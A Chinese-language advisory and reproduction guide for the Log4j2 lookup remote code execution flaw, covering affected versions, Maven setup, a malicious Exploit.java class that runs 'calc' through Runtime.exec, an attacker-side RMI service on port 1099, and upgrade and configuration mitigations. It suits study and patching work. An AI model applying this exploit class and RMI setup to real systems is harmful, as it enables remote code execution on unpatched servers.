簡介
近日, Apache Log4j 的遠程代碼執行漏洞細節被公開,該漏洞一旦被攻擊者利用會造成嚴重危害,經過快速分析和確認,該漏洞影響范圍極其廣泛,危害極其嚴重,建議第一時間啟動應急回應進行修復,
漏洞概述
Apache Log4j2 是一款開源的 Java 日志記錄工具,大量的業務框架都使用了該組件,此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,該功能允許開發者通過一些協議去讀取相應環境中的配置,但在實作的程序中,并未對輸入進行嚴格的判斷,從而造成漏洞的發生,
影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
漏洞復現
1.環境搭建
創建一個新的maven專案,并匯入Log4j的依賴包

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.0</version>
</dependency>
</dependencies>
2.漏洞利用,使用Log4jTest.java測驗

3.編譯一惡意類Exploit.class
首先新建Exploit.java,然后編譯為class檔案,

class Exploit {
static {
System.err.println("Evil has been there");
try{
String cmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exception e){
e.printStackTrace();
}
}
}
4.黑客后臺創建一個RMI服務,系結Exploit,并執行開啟1099監聽埠

5.運行Log4jTest.java即可訪問惡意類并執行寫在其中的"calc"命令

修復方式
目前,Apache官方已發布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建議同時采用如下臨時措施進行漏洞防范:
-
添加jvm啟動引數-Dlog4j2.formatMsgNoLookups=true;
-
在應用classpath下添加log4j2.component.properties組態檔,檔案內容為log4j2.formatMsgNoLookups=true;
-
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
-
部署使用第三方防火墻產品進行安全防護,
參考鏈接:
https://www.bilibili.com/video/BV1FL411E7g3
https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw
技術交流
原始碼放在評論區
歡迎轉載、收藏、有所識訓點贊支持一下!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/382800.html
標籤:其他
